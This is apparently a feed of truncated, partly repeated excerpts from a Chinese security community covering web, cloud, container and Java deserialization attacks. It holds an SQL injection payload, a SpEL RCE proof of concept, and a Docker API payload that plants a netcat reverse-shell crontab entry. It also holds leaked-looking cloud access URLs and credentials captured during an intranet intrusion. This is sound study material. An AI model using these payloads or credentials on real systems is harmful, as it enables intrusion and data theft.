它的URL为:http://www.test.com/?act=login&url=user.test.com.
当登入成功之后就会从http://test.com跳转到user.test.com这个站点,如果我们将user.test.com替换成www.baidu.com或者等等站点都可以进行跳转的话,那么就可以称之为任意URL跳转漏洞
2.首先这里说明了URL部分可控和全部可控,全部可控就是直接替换为自己目标的站点或者是dnslog等.但是如果遇到部分可控类似于http://test.com/?url=user.test.com.这里URL参数传入user.test.com是必须的,不可以变化的,那么这里就可以利用@服务来进行绕过了.
案例
<?php /** * Check if the 'URL' GET variable is set */ if (isset($_GET['url'])){ $url = $_GET['url']; /** * Send a request vulnerable to SSRF since no validation is being done on $url before seding the request */ $imag
2022年4月19日 16:01火线zone
本文所有的演示都购买的Mysql服务
0x01 前期侦查
1、访问凭证泄露
在进行信息收集时,可以收集目标的数据库账号密码、云服务账号的访问凭证、临时凭证、SDK 等等。
2、备份管理
在备份管理处可以看到数据库的备份情况,可以恢复或者下载,查找数据
如果我们拿到了ak sk可以登录OBS Browser查看外部桶,看用户是否将备份放到其中
我们在信息搜集的时候,可以留意如下链接
https://obs.cn-south-1.myhuaweicloud.com/dbsbucket-cn-south-1-ea28ad0541ce46d1a14cf6affac93242/1471f191bf52426f937b8e9b5f87a5e5_2b51b2c6abdf462893939964b4c612fain01_Snapshot_fccfc85d4767460786a8cdd00b021f87br01_20220328075533310_20220328075534031_dd6d837fe38542e39c939c65cc2eb946no01_.qp?AWSAccessKeyId=GJADEH3HQHGDFA1I9TZ1&Expires=1648455224&response-cache-control=no-cache,no-store&Signature=ZvOnZ1Ggj+d3M3rR+RNWFCLf5Xk=
https://obs.cn-south-1.myhuaweicloud.com:443/dbsbucket-cn-south-1-ea28ad0541ce46d1a14cf6affac93242/1471f191bf52426f937b8e9b5f87a5e5_2b51b2c6abdf462893939964b4c612fain01_Db_270e4eee5c0645c491a0256aee83277fbr01_20220328075745865_20220328075807598_b1f9ce13819a4a089c868f408cd66ecdno01_.qp?AWSAccessKeyId=GJADEH3HQHGDFA1I9TZ1&Expires=1648455325&response-cache-control=no-cache,no-store&Signature=cH06dRbBcK/fSX8MX
2022年4月19日 15:31火线zone
数据持久化介绍
数据持久化抽象分层
Persistent Volume Claim (PVC)
Persistent Volume (PV)
Storage Class (SC)
抽象分层的优点
本地磁盘分层示例
参考链接
数据持久化介绍
kubernetes 集群不会为我们处理数据的存储,我们可以为数据库挂载一个磁盘来确保数据的安全。
可以选择云存储、本地磁盘、NFS。
本地磁盘:可以挂载某个节点上的目录,但是这需要限定 pod 在这个节点上运行
云存储:不限定节点,不受集群影响,安全稳定;需要云服务商提供,裸机集群是没有的。
NFS:不限定节点,不受集群影响
数据持久化抽象分层
Persistent Volume Claim (PVC)
pod 对存储需求的一个申明,可以理解为一个申请单,系统根据这个申请单去找一个合适的 PV。
apiVersion: v1 kind: PersistentVolumeClaim metadata: name: mongodata spec: accessModes: ["ReadWriteOnce"] # 访问模式 storageClassName: "local-storage" # SC名字 resources: requests: storage: 2Gi
Persistent Volume (PV)
描述卷的具体信息,例如磁盘大小,访问模式。
apiVersion: v1 kind: PersistentVolume metadata: name: mongodata spec: capacity: storage: 2Gi # 2G磁盘 volumeMode: Filesystem # Filesystem(文件系统) Block(块) accessModes: - ReadWriteOnce # 卷可以被一个节点以读写方式挂载 persistentVolumeReclaimPolicy: Delete storageClassName: local-storage # 与下面的SC对应 local: path: /root/data nodeAffinity: required: # 通过 hostname 限定在某个节点创建存储卷 nodeSelectorTerms: - matchExpressions: - key: kubernetes.io/hostn
2022年4月19日 14:01火线zone
Argo CD + Kustomize + SOPS 更安全地实践 GitOps
https://mp.weixin.qq.com/s/LYtubteS1SVSaj-OOhbp5w
Fluent Operator:云原生日志管理的一把瑞士军刀
https://mp.weixin.qq.com/s/Ojg6FfTD_r1__OXMJD3WJg
Docker-remoter-api渗透
https://mp.weixin.qq.com/s/hkkFxsxD5dQwy3PE3VtJIA
Anki 自定义同步服务器部署与使用
https://icloudnative.io/posts/anki-sync-server/
如何集成 OpenShift 命名空间监控和 Slack
https://cloud.redhat.com/blog/how-to-integrate-openshift-namespace-monitoring-and-slack
如何使用 Secondary Scheduler Operator 将您自己的 Scheduler 带入 OpenShift
https://cloud.redhat.com/blog/how-to-bring-your-own-scheduler-into-openshift-with-the-secondary-scheduler-operator
在云中优先考虑数据安全的 4 种方法
https://www.techopedia.com/4-ways-to-prioritize-data-security-in-the-cloud/2/34733
云安全Wiki
https://wiki.teamssix.com/
2022年4月19日 12:01火线zone
CommonsCollections1 (CC1链)
说明
前置知识
LazyMap:装饰另一个Map,按需在另一个Map中创建对象(懒加载)
Transformer:一个接口,通常用来将一个对象转化为另一个对象,被使用来做类型转换或者从对象中提取数据
ConstantTransformer:Transformer的实现类,将输入对象转化为Object类型
LazyMap.entrySet():将LazyMap中所有的键值对看作是一个set集合
AnnotationInvocationHandler:实现了InvocationHandler,为注解对应的接口生成一个实现该接口的动态代理类
AnnotationType:这个类是用来描述某个指定注解的
比如:定义一个注解
```java System.out.println(AnnotationType.getInstance(Dad.class)); ```
Member types用来描述注解对应接口里的属性的类型
Member defaults用来描述注解对应接口里带有默认值的属性
反序列化时不执行构造函数
动态代理一个接口时,每次调用接口的方法时,都会去执行InvocationHandler的invoke方法(这个点搞了我很久,一开始一直想不明白为啥调用entrySet()时为啥会蹦去invoke() 方法)
利用链
AnnotationInvocationHandler.readObject() $Proxy.entrySet() AnnotationInvocationHandler.invoke() LazyMap.get() ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform()
ysoserial简化后的payload
package com.ysoserial; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransfo
2022年4月18日 17:32火线zone
01#原创文章激励计划
根据【火线Zone社区运营规则 v0.2】相关要求规定,为鼓励所有社区用户进行原创文章的分享,实行#原创文章激励#计划。
要求:具备原创性,内容具备深度和可读性,点赞数>10
点赞 >10 的原创文章,均可参与周度计划评选,按照文章Rank值来计算排名,前5名获得对应奖励。
Rank = 评论数 X 3 + 点赞数 X 2 + 阅读量 X 1
第一名:500元现金+500查克拉
第二名:400元现金+400查克拉
第三名:300元现金+300查克拉
第四名:200元现金+200查克拉
第五名:100元现金+100查克拉
五名之后:100查克拉
上周符合激励计划的文章有:
第一名:500元现金+500查克拉
标题:禁用XXE处理漫谈
链接:https://zone.huoxian.cn/d/1075
作者:0x6270
第二名:400元现金+400查克拉
标题:业务安全漏洞-登录认证实战总结(一)
链接:https://zone.huoxian.cn/d/1086
作者:萨满
第三名:300元现金+300查克拉
标题:Android手机APP实现的远控
链接:https://zone.huoxian.cn/d/1081
作者:Betta
第四名:200元现金+200查克拉
标题:华为云 ECS弹性云服务器攻防
链接:https://zone.huoxian.cn/d/1074
作者:想了半天就想了这么个名字
第五名:100元现金+100查克拉
标题:私有域环境攻防搭建(一)
链接:https://zone.huoxian.cn/d/1084
作者:Betta
第六名:100查克拉
标题:特权模式下docker逃逸手法总结
链接:https://zone.huoxian.cn/d/1071
作者:宋民国本国
第七名:100查克拉
标题:微软云 VM攻防
链接:https://zone.huoxian.cn/d/1083
作者:ricky
第八名:100查克拉
标题:web框架的请求上下文
链接:https://zone.huoxian.cn/d/1077
作者:leveryd
第九名:100查克拉
标题:【云原生渗透基础】- 4. k8s集群中的StatefulSet、ConfigMap和Secret
链接:https://zone.huoxian.cn/d/1080
作者:君行路
所有奖励每
2022年4月18日 14:01火线zone
漏洞描述
GitLab 是一个用于仓库管理系统的开源项目,使用 Git 作为代码管理工具,可通过 Web 界面访问公开或私人项目。
在GitLab CE/EE版本14.7(14.7.7之前)、14.8(14.8.5之前)和14.9(14.9.2之前)中使用OmniAuth提供商(如OAuth、LDAP、SAML)注册的帐户设置了硬编码密码,允许攻击者潜在地控制帐户。
漏洞版本
Gitlab CE/EE >=14.7,<14.7.7
Gitlab CE/EE >=14.8,<14.8.5
Gitlab CE/EE >=14.9,<14.9.2
环境搭建
选择 docker hub 上的 gitlab/gitlab-ce:14.7.4-ce.0 版本
Image Layer Details - gitlab/gitlab-ce:14.7.5-ce.0 | Docker Hub
编写docker-compose 文件,使用docker-compose up -d 搭建 、端口会映射到本地 8080端口、还将映射三个目录。
version: '3' services: gitlab: image: 'gitlab/gitlab-ce:14.7.4-ce.0' container_name: 'gitlab' restart: always privileged: true hostname: 'gitlab' environment: TZ: 'Asia/Shanghai' ports: - '8080:80' volumes: - ./config:/etc/gitlab - ./data:/var/opt/gitlab - ./logs:/var/log/gitlab
conf目录 下的 gitlab.rb 是配置文件、 initial_root_password 是初始密码文件会,它将会保存24小时。
接下来我们在github 上创建新的 OAuth application 。
Application name 的名字可以随便写。
Homepage URL 是gitlab 的 url ,因为本地搭建且端口映射在8080上 Authorization callback URl 是认证回调url ,用户被 GitHub 重定向的站点 Homepage 填写 : http://127.0.0.1:8080 Callbac
2022年4月18日 14:01火线zone
0x00 前言
在平时攻防的过程中,经常会碰到数据库在云上的情况,本文将以 AWS 中的云数据库为例,主要谈谈在面对云数据库场景下的一些攻防手法。
目前 Amazon RDS 支持以下数据库:
MySQL
MariaDB
PostgreSQL
Oracle
Microsoft SQL Server
0x01 前期侦查
1、访问凭证泄露
在前期进行信息收集时,可以通过一些传统常见下的被动信息收集方法,尝试收集目标的数据库账号密码、云服务账号的访问凭证、临时凭证、SDK 代码中泄露的密钥等等。
2、共享快照
对于 AWS RDS,可以在共享快照中,根据快照名称判断查找,看看是否有和目标相关联的快照,然后再通过还原快照的方式,获得快照中 RDS 的数据。
0x02 初始访问
1、访问凭证登录
如果前期收集到了数据库的账号密码,则可以直接使用其登录。
如果前期收集到了云服务账户的访问密钥或临时秘钥,则可以通过访问控制台或者命令行操作 RDS
2、弱口令
如果数据库存在弱口令,则可以通过密码爆破,猜解出 RDS 的账号密码。
在 AWS 上,RDS 账号名一般为 admin,通常密码一般为随机强密码,因此如果仅对 root、admin 用户进行爆破,则爆破的成功率较低。
所以可以尝试对其他常见用户名进行爆破,这类用户名可能是目标人员自行创建的账号,存在弱口令的可能性较高。
0x03 执行
1、云厂商命令行工具
如果知道云服务账号的访问密钥,对于 AWS 而言,可以使用 AWS 提供的命令行工具进行 SQL 语句的执行,除此之外也可以使用 SDK 执行 SQL 语句。
2、数据库连接工具
如果知道数据库的账号密码后,也可以使用 Navicat 进行连接访问,或者使用 MDUT 等类似工具对数据库进行渗透,但一般 RDS 提供的权限可能不会太高,使用这类工具失败的可能性较大。
0x04 权限提升
1、低权限下收集到高权限访问凭证信息
在使用低权限账号登录到数据库后,在数据库中可以尝试搜索访问密钥、账号密码等信息,获得高权限账号信息。
如果当前数据存在 Web 应用上的用户密码信息,则可以通过尝试获得 Web 应用系统权限,在 Web 应用系统权限下,搜索数据库的访问密钥或者云服务的 API 密钥,从而进一步横向到数据库高权限。
2、数据库自身漏洞
在有低权限账号后,也可以通过数据库自身漏洞进行提权,不过在云场景下,这种情况可能
2022年4月18日 13:01火线zone
CVE-2022-0492:权限提升漏洞导致容器逃逸
https://mp.weixin.qq.com/s/1T049kAOEj-N0TJPmqv3_g
VMware服务端模板注入漏洞在野利用
https://mp.weixin.qq.com/s/areYOl6-_uaueXS_-BM1lQ
docker 利用特权模式逃逸并拿下主机
https://mp.weixin.qq.com/s/BOgVVCe-Uyw2AOjcmJdiDQ
滥用 Azure Hybrid Worker 进行权限提升 - 第 1 部分
https://www.netspi.com/blog/technical/cloud-penetration-testing/abusing-azure-hybrid-workers-for-privilege-escalation/
滥用 Azure Hybrid Worker 进行权限提升 - 第 2 部分
https://www.netspi.com/blog/technical/cloud-penetration-testing/abusing-azure-hybrid-workers-part-2/
给 Kubernetes 添加 imagePullSecrets
https://www.chenshaowen.com/blog/how-to-add-imagepullsecrets-for-kubernetes.html
在容器中使用 obsutil 命令问题
https://www.chenshaowen.com/blog/some-problems-using-obsutil-commands-in-containers.html
使用 Datadog 监控 Redis Enterprise 集群
https://www.datadoghq.com/blog/monitor-redis-enterprise-clusters-with-datadog/
2022年4月18日 12:01火线zone
漏洞描述
GitLab 是一个用于仓库管理系统的开源项目,使用 Git 作为代码管理工具,可通过 Web 界面访问公开或私人项目。
在GitLab CE/EE版本14.7(14.7.7之前)、14.8(14.8.5之前)和14.9(14.9.2之前)中使用OmniAuth提供商(如OAuth、LDAP、SAML)注册的帐户设置了硬编码密码,允许攻击者潜在地控制帐户。
漏洞版本
Gitlab CE/EE >=14.7,<14.7.7
Gitlab CE/EE >=14.8,<14.8.5
Gitlab CE/EE >=14.9,<14.9.2
环境搭建
选择 docker hub 上的 gitlab/gitlab-ce:14.7.4-ce.0 版本
Image Layer Details - gitlab/gitlab-ce:14.7.5-ce.0 | Docker Hub
编写docker-compose 文件,使用docker-compose up -d 搭建 、端口会映射到本地 8080端口、还将映射三个目录。
version: '3' services: gitlab: image: 'gitlab/gitlab-ce:14.7.4-ce.0' container_name: 'gitlab' restart: always privileged: true hostname: 'gitlab' environment: TZ: 'Asia/Shanghai' ports: - '8080:80' volumes: - ./config:/etc/gitlab - ./data:/var/opt/gitlab - ./logs:/var/log/gitlab
conf目录 下的 gitlab.rb 是配置文件、 initial_root_password 是初始密码文件会,它将会保存24小时。
接下来我们在github 上创建新的 OAuth application 。
Application name 的名字可以随便写。
Homepage URL 是gitlab 的 url ,因为本地搭建且端口映射在8080上 Authorization callback URl 是认证回调url ,用户被 GitHub 重定向的站点 Homepage 填写 : http://127.0.0.1:8080 Callbac
2022年4月18日 11:31火线zone
漏洞描述
GitLab 是一个用于仓库管理系统的开源项目,使用 Git 作为代码管理工具,可通过 Web 界面访问公开或私人项目。
在GitLab CE/EE版本14.7(14.7.7之前)、14.8(14.8.5之前)和14.9(14.9.2之前)中使用OmniAuth提供商(如OAuth、LDAP、SAML)注册的帐户设置了硬编码密码,允许攻击者潜在地控制帐户。
漏洞版本
Gitlab CE/EE >=14.7,<14.7.7
Gitlab CE/EE >=14.8,<14.8.5
Gitlab CE/EE >=14.9,<14.9.2
环境搭建
选择 docker hub 上的 gitlab/gitlab-ce:14.7.4-ce.0 版本
Image Layer Details - gitlab/gitlab-ce:14.7.5-ce.0 | Docker Hub
编写docker-compose 文件,使用docker-compose up -d 搭建 、端口会映射到本地 8080端口、还将映射三个目录。
version: '3' services: gitlab: image: 'gitlab/gitlab-ce:14.7.4-ce.0' container_name: 'gitlab' restart: always privileged: true hostname: 'gitlab' environment: TZ: 'Asia/Shanghai' ports: - '8080:80' volumes: - ./config:/etc/gitlab - ./data:/var/opt/gitlab - ./logs:/var/log/gitlab
conf目录 下的 gitlab.rb 是配置文件、 initial_root_password 是初始密码文件会,它将会保存24小时。
接下来我们在github 上创建新的 OAuth application 。
Application name 的名字可以随便写。
Homepage URL 是gitlab 的 url ,因为本地搭建且端口映射在8080上 Authorization callback URl 是认证回调url ,用户被 GitHub 重定向的站点 Homepage 填写 : http://127.0.0.1:8080 Callbac
2022年4月18日 10:31火线zone
0x01 web打点
访问漏洞url:http://www.xx.xx.com进入某医疗系统
使用越权加文件上传拿到shell


0x02 内网渗透
192.168.xx.x 管理员
通过哥斯拉上线msf

上线后进行信息收集:
网卡信息、补丁信息、杀毒进程、用户在线情况、是否存在域、翻文件查找数据库密码、浏览器保存密码、查看路由等
抓取密码:
Username : Administrator
Domain : WIN-Ixxxx
Password : xxxxx

0x03 横向移动
192.168.xx.xx 管理员
利用抓取到密码首先打一波c段获取两台服务器权限
administrator/xxx
信息收集:
发现某60的终端管理杀毒但是登录有一定时效且未保存密码
发现存在虚拟机服务器且运行密码一致
发现浏览器存着某软系统的账号密码

192.158.xx.xx 管理员
通杀用户密码:
administrator/xxx
进行信息收集可获取一些在虚拟机运行的软件权限以及数据库权限等
196.158.xx.xx 管理员

caiwu主机192.168.xx.xx 管理员
administrator/123
通过弱口令扫描获取caiwu主机控制权限泄露大量敏感信息
泄露大量敏感文件信息


数据库权限
192.168.xxx.x:3306
mysql OA数据库权限-root
翻文件获取数据库密码
root/ls123123

192.168.xx.x:1433
mssql数据库权限-sa

应用系统权限
https://xx.xx.com/login/signin
通过翻取浏览器保存密码获取权限
用户密码:xxxx/xxx

安全设备权限
某天擎管理员权限
由于浏览器未保存此密码,通过在服务端的服务器进行信息收集在某天擎的安装目录找到账号密码
以此获取权限
admin/xxxx
http://192.168.xx.xx:8080/login?refer=%2

可控终端个人pc73台
0x04 结束语
由于打的有点累了且获取到的敏感信息太多,放弃了测试。虽然发现了跨网段了但是没有在继续进行测试。在这由衷的提醒内网也不要松懈啊!强口令、打补丁都要做起来啊!感谢各位师傅观看!
2022年4月18日 10:01火线zone
前言
本文主要说明缓冲区溢出及其发生方式。缓冲区溢出是通过覆盖进程或程序的内存片段而发生的。覆盖进程的某些指针和寄存器的值会导致分段错误,从而导致多个错误,从而导致以异常方式终止程序执行。
缓冲区溢出的定义
缓冲区是一种易丢失的内存配置,它们当数据从一个位置转移到另一个位置时临时性的保存这些数据。当正在处理的数据超过内存缓冲区的存储容量时,会发生缓冲区溢出。项目中这种结果会造成溢出数据覆盖到相邻内存位置,从而导致缓冲区溢出。当我们对 char 类型的缓冲区进行操作时,会发生缓冲区溢出。
我们将尝试用几个例子来理解这个概念。例如,一个缓冲区设定为只能接受8字节的数据,在这种情况下,如果用户输入的数据超过8字节,则超过8字节的数据部分将覆盖相邻内存从而超过已分配缓冲区的边界。这最终会产生分段错误,之后引发许多其他错误,导致程序执行被终止。
如上所述,分配的内存是8个字节,而用户输入的数据是10个字节,超过了缓冲区边界,而那些额外的2个字节的数据(E&R)覆盖了相邻的内存位置。现在我们已经大致了解了缓冲区溢出,是时候对缓冲区溢出的类型进行一些了解了。
缓冲区溢出类型
缓冲区溢出有两种类型,一种是栈缓冲区溢出,一种是堆缓冲区溢出。我们来对其总结一下。
栈缓冲区溢出
当一个程序覆盖到一个内存地址,但该地址在一个固定长度的程序所调用缓冲区边界以外的位置,就会发生这种情况。在栈缓冲区溢出中,额外的数据被写入堆栈上的相邻缓冲区中。这通常会导致应用程序崩溃,因为这种堆栈上溢出会导致内存损坏方面的错误。
堆缓冲区溢出
堆是一种用于动态内存分配管理的内存结构。它通常用于分配在编译时大小未知的内存,其中所需的内存量太大以至于无法安装在堆栈上。堆溢出或堆喷是堆数据区域中发生的一种缓冲区溢出。基于堆的溢出的利用不同于基于栈的溢出利用。堆上的内存是在运行时动态分配的且通常包含程序数据。利用堆缓冲区溢出漏洞是通过以特定方式损坏此数据来完成的,从而导致应用程序覆盖内部结构(例如链表指针)。
缓冲区溢出攻击
最常见的缓冲区溢出攻击称为基于堆栈的缓冲区溢出或普通缓冲区溢出攻击,该堆栈通常为空,直到程序需要用户输入(如用户名或密码)。否则该堆栈通常为空。然后,程序将返回内存地址写入堆栈,然后将用户的输入存储在堆栈之上。在处理堆栈时,用户的输入将发送到程序指定的返回地址。
­但是,堆栈的特定内存量在开始时分配,这使得它有限。如果用户输入的数据大于堆栈中分
2022年4月18日 08:31火线zone
接上篇
1.验证码复用
漏洞描述:
当服务器端受理请求后,没有将上一次保存的session及时清空,将会导致验证码可重复使用
通常情况下在网站注册、登录、找回密码等页面都会设计验证码验证。如果设计不合理,将会刀子验证码在验证成功一次之后,下次使用的就不在验证也就说可以重复使用
案例:
可以看到此处前端登录虽有验证码验证,但是只验证一次。后续可一直使用该验证码
测试方法:发送到repeater模块多次发包,查看是否提示验证码错误
第一次发包:
第二次发包:
提示验证码错误
第三次发包输入页面已经更新后的验证码,
发现不在提示验证码错误
第四次发包同样不提示,此时验证码就已失效,可造成暴力破解
修复建议:
当服务器端处理完一次用户提交的请求之后,及时将 session域中的验证码清除,并生成新的验证码。
2.验证码为空绕过
当验证码为空时,则不进行验证码验证。在进行测试也可以试试null 有时会有意外收获
3.token可预测
当我们进行重复发包时,提示token错误,说明token已过期

但是在返回包中,我们可以看到重新生成的token,由此漏洞产生
破解模块设置
给第一个添加字典
在options设置响应token
重定向设置 总是,线程设置为1


Pyload设置递归搜索,给定一个初始token
开始暴力破解,成功解出
4.验证码过于简单可被识别
使用到的工具:Pkav HTTP Fuzzer 1.5.6
将抓到的数据包填入工具中设置
此处设置字典
验证码设置:
验证码地址,清晰的数字
点击识别测试
重放选项设置,302重定向,长度固定4位
出现验证码错误重试
开始发包
5.登录认证绕过
漏洞描述:
有的登录页面可以通过禁用js样式(不常见),能轻易的绕过登录认证,直接进入系统。或者是通过burp抓报改包进行登录绕过也是可以的(常见一点)
示例:
设置拦截响应包:
开启拦截:
把302 found改成200
成功登录
风险分析:
如果应用程序在认证上没有做好,可以导致恶意用户或者攻击者绕过认证,访问内部资源,这类漏洞通过防火墙和入侵检测系统很难预防。
修复方案:
可从以下几个方面预防认证绕过:
增加验证码,不使用前端验证,密码通过加密算法加密,失败次数多加锁,密码强度增加
6.短信验证码可暴力破解
漏洞描述:
短信验证码位数太短或有效期太长导致可暴力破解
测试方法:
点击发送短信验证码,输入任意验证码,提交
2022年4月17日 20:31火线zone
分享个自己搭建的云安全知识文库 —— T Wiki 云安全知识文库,文库地址:wiki.teamssix.com
话不多说,直接上图
2022年4月17日 10:01火线zone
CommonsBeanutils1(CB1链)
说明
PriorityQueue是优先队列,作用是保证每次取出的元素都是队列中权值最小的,这里涉及到了大小关系,元素大小的评判可以通过元素自身的自然顺序(使用默认的比较器),也可以通过构造时传入的比较器。
BeanComparator 是比较器,用来比较两个bean的属性
全篇建议一口气读完,不然看到后面忘记前面
导入依赖
commons-beanutils<1.9.2
commons-collections<3.1
commons-logging<1.2
<dependency> <groupId>commons-beanutils</groupId> <artifactId>commons-beanutils</artifactId> <version>1.9.2</version> </dependency> <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.1</version> </dependency> <dependency> <groupId>commons-logging</groupId> <artifactId>commons-logging</artifactId> <version>1.2</version> </dependency>
利用链
PriorityQueue.readObject() PriorityQueue.heapify() PriorityQueue.siftDown() siftDownUsingComparator() BeanComparator.compare() TemplatesImpl.getOutputProperties() TemplatesImpl.newTransformer() TemplatesImpl.getTransletInstance()
分析正文
因为PriorityQueue实现了Serializable接口,重写了readObject方法,所以反序列化时会直接执行PriorityQueue的readObject方法,如果没有重写readObject方法的话,那么就会默认使用其父类的readObject方法,这里的q
2022年4月16日 17:01火线zone
使用
环境:
linux or mac(windows不支持) python version >= 3.7
地址
https://github.com/Aabyss-Team/awsKeyTools
安装:
解压 cd awsKeyTools pip3 install -r requirements.txt
如果遇到 error: command 'x86_64-linux-gnu-gcc' failed with exit status 1 报错
解决方案: sudo apt-get install libncurses5-dev
如果在vps上使用不推荐Ubuntu18 , 因为python版本过低 , 虽然可以自己手动安装python3.8但是两个python3环境容易起冲突 , 推荐在kali上使用或者Ubuntu20
使用
第一次使用工具会提示输入ak
python3 main.py
输入你的aws_ak即可
1.查看命令帮助
┌──(root💀192)-[~/桌面/awsKeyTools-new_dev (2)] └─# python3 main.py __ __ .__ _____ __ _ _______| | __ ____ ___.__._/ |_ ____ ____ | | ______ \__ \ \/ \/ / ___/ |/ // __ < | |\ __\/ _ \ / _ \| | / ___/ / __ \ /\___ \| <\ ___/\___ | | | ( <_> | <_> ) |__\___ \ (____ /\/\_//____ >__|_ \___ > ____| |__| \____/ \____/|____/____ > \/ \/ \/ \/\/ \/ version : 0.0.1 by dbg9 and 无在无不在 aws-key-tools > help Help: help - 查看命令帮助 userinfo - 获取用户信息 privileges - 获取用户权限 ec2 - 获取所有地区的EC2(Elastic Computer Cloud) exec - ec2远程命令执行 aws-url - 根据当前高权限生成aws控制台访问url reset - 重置aws_ak exit - 退出程序 aws-key-tools >
2.获取ak对应的用
2022年4月15日 16:34火线zone
1、前言
最近在测试某SRC时,抱着进去转转的心态,常规操作F12看前端代码。
2、正文
F12从头到脚读了一遍前端代码,发现几处接口地址,那就试试(一般来说这种接口早被人试烂了)。
拼接URL,访问接口,结果接口SQL报错,看见了老熟人(Thinkphp),还显示了具体版本。

那想都不用想,直接上payload开干,id=1) and updatexml(1,concat(0x7e, user(), 0x7e),1)--

结果报错如上图所示,试了好几个都无法注入,这下可不好玩了,差点就错过,最后仔细看了下报错信息,重点在于concat does not exist,那就换一种思路,找个替换concat的函数,百度一下

直接使用concat_ws替换concat,继续

这下总算是成功了,写过程提交漏洞,妥妥的,急着提交SRC就草草了事。
所以在测试过程中还是要细心,要有耐心不能着急。
2022年4月15日 12:34火线zone
微软Azure密码还原机制存在漏洞,攻击者可以远程控制设备
https://mp.weixin.qq.com/s/dn_wT3qoGetubuKxeDQJKA
云原生钻石课程 | 第7课:Kubernetes 网络架构原理深度剖析(下)
https://mp.weixin.qq.com/s/lBiPpeDrHmheHmx9G5RYLg
Kindling在线demo介绍
https://mp.weixin.qq.com/s/YHXEjB9au6X8VhJY70ib-Q
如何更安全的升级Kubernetes节点
https://mp.weixin.qq.com/s/yc019kKuZ65UjV6FQT9TKg
FinOps 云成本优化不容忽视
https://mp.weixin.qq.com/s/qKcLGo6efniadKxtya8B4Q
Fluent Operator:云原生日志管理的一把瑞士军刀
https://mp.weixin.qq.com/s/-FpltcXoB6tCKMXaq6DAuQ
横跨人员、流程和技术的20项开发服务最佳实践
https://cloudsecurityalliance.org/blog/2022/04/12/20-devsecops-best-practices-across-people-process-and-technology/
云原生权限的 5 个最佳实践
https://containerjournal.com/features/5-best-practices-for-cloud-native-permissions/
2022年4月15日 12:04火线zone
Docker实现原理:https://zone.huoxian.cn/d/1034-docker
一、Docker逃逸
1、docker daemon api未授权访问
2、privileged 特权模式启动容器
2.1、特权模式与非特权模式的区别
2.1.1、Linux Capabilities
2.1.2、Linux敏感目录
2.1.3、任何内核文件都是可读写
2.1.4、AppArmor与Seccomp
2.1.5、cgroup读写
2.1.6、/dev
2.1.7、SELinux
2.1.8、参考
2.2、复现
1、启动特权容器
2、挂在宿主机目录
3、写crontab 反弹shell
3、挂载docker.sock
3.1、什么是docker.sock
3.2、创建docker
3.3、复现
3.4、反弹shell
4、挂载宿主机根目录
4.1、反弹shell
5、Cgroup执行宿主机系统命令
5.1、cgroup
5.2、notify_on_release
6、runC逃逸-CVE-2019-5736
影响版本
参考文章
一、Docker逃逸
1、docker daemon api未授权访问
漏洞原理:在使用docker swarm的时候,节点上会开放一个TCP端口2375,绑定在0.0.0.0上,如果我们使用HTTP的方式访问会返回404  利用思路:通过挂在宿主机的目录,写定时任务获取SHELL,从而逃逸
git clone https://github.com/vulhub/vulhub.git
docker-compose build docker-compose up -d
docker ps -a | grep rce
访问ip:2375/version
payload
import docker client = docker.DockerClient(base_url='http://192.168.0.138:2375') data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * * /usr/bin/nc 192.168.0.138 1234 -e /bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bi
2022年4月14日 18:34火线zone
Spring Cloud Function SPEL表达式注入漏洞
Spring Cloud Function 是基于 Spring Boot 的函数计算框架,它抽象出所有传输细节和基础架构,允许开发人员保留所有熟悉的工具和流程,并专注于业务逻辑。Spring Cloud Function 被爆出了 SPEL 表达式注入漏洞
0x01 漏洞简介
漏洞的代码修复可以通过gihub上提交的commit来查看,通过比较可以分析出漏洞的触发位置
https://github.com/spring-cloud/spring-cloud-function/commit/0e89ee27b2e76138c16bcba6f4bca906c4f3744f
触发漏洞的方式是spel表达式的解析,构造恶意的payload被解析后,可以造成RCE
0x02 漏洞利用
先看一下漏洞触发位置,也就是spel表达式被解析的位置,注入的payload也就是到这里被执行
POC T(java.lang.Runtime).getRuntime().exec("calc.exe")
最后执行的结果
0x03 漏洞利用链分析
学习了网上的文章,一开始以为触发漏洞只能在application.properties中配置spring.cloud.function.definition=functionRouter,然后发post包触发利用链。
后来在别的文章里看到可以不进行配置直接来触发利用链,这里就直接记录后一种方式,这种方式利用的/functionRouter的path来触发的
学习调试过程如下:
首先构造我们的POC,用POST方式发包
在FunctionWebRequestProcessingHelper.java中findFunction方法会进行判断,传入的是GET请求或者是POST请求都会走doFindFunction,在这里我们可以看到类型是POST的
走下去,看一下返回给doFindFunction的参数,method就是我们请求的方式,这里是POST方式请求
path的路径“/functionRouter”需要关注一下
继续跟进doFindFunction,这里先是对传入的path做一个判断
往下走,这里的functionCatalog.lookup通过name参数给的functionRouter来找到对应位置
顺便进到Function
2022年4月14日 16:04火线zone
数据持久化介绍数据持久化抽象分层 Persistent Volume Claim (PVC) Persistent Volume (PV) Storage Class (SC) 抽象分层的优点本地磁盘分层示例参考链接
数据持久化介绍
kubernetes 集群不会为我们处理数据的存储,我们可以为数据库挂载一个磁盘来确保数据的安全。
可以选择云存储、本地磁盘、NFS。
本地磁盘:可以挂载某个节点上的目录,但是这需要限定 pod 在这个节点上运行
云存储:不限定节点,不受集群影响,安全稳定;需要云服务商提供,裸机集群是没有的。
NFS:不限定节点,不受集群影响
数据持久化抽象分层
Persistent Volume Claim (PVC)
pod 对存储需求的一个申明,可以理解为一个申请单,系统根据这个申请单去找一个合适的 PV。
apiVersion: v1 kind: PersistentVolumeClaim metadata: name: mongodata spec: accessModes: ["ReadWriteOnce"] # 访问模式 storageClassName: "local-storage" # SC名字 resources: requests: storage: 2Gi
Persistent Volume (PV)
描述卷的具体信息,例如磁盘大小,访问模式。
apiVersion: v1 kind: PersistentVolume metadata: name: mongodata spec: capacity: storage: 2Gi # 2G磁盘 volumeMode: Filesystem # Filesystem(文件系统) Block(块) accessModes: - ReadWriteOnce # 卷可以被一个节点以读写方式挂载 persistentVolumeReclaimPolicy: Delete storageClassName: local-storage # 与下面的SC对应 local: path: /root/data nodeAffinity: required: # 通过 hostname 限定在某个节点创建存储卷 nodeSelectorTerms: - matchExpressions: - key: kubernetes.io/hostname
2022年4月14日 15:03火线zone
1、前言
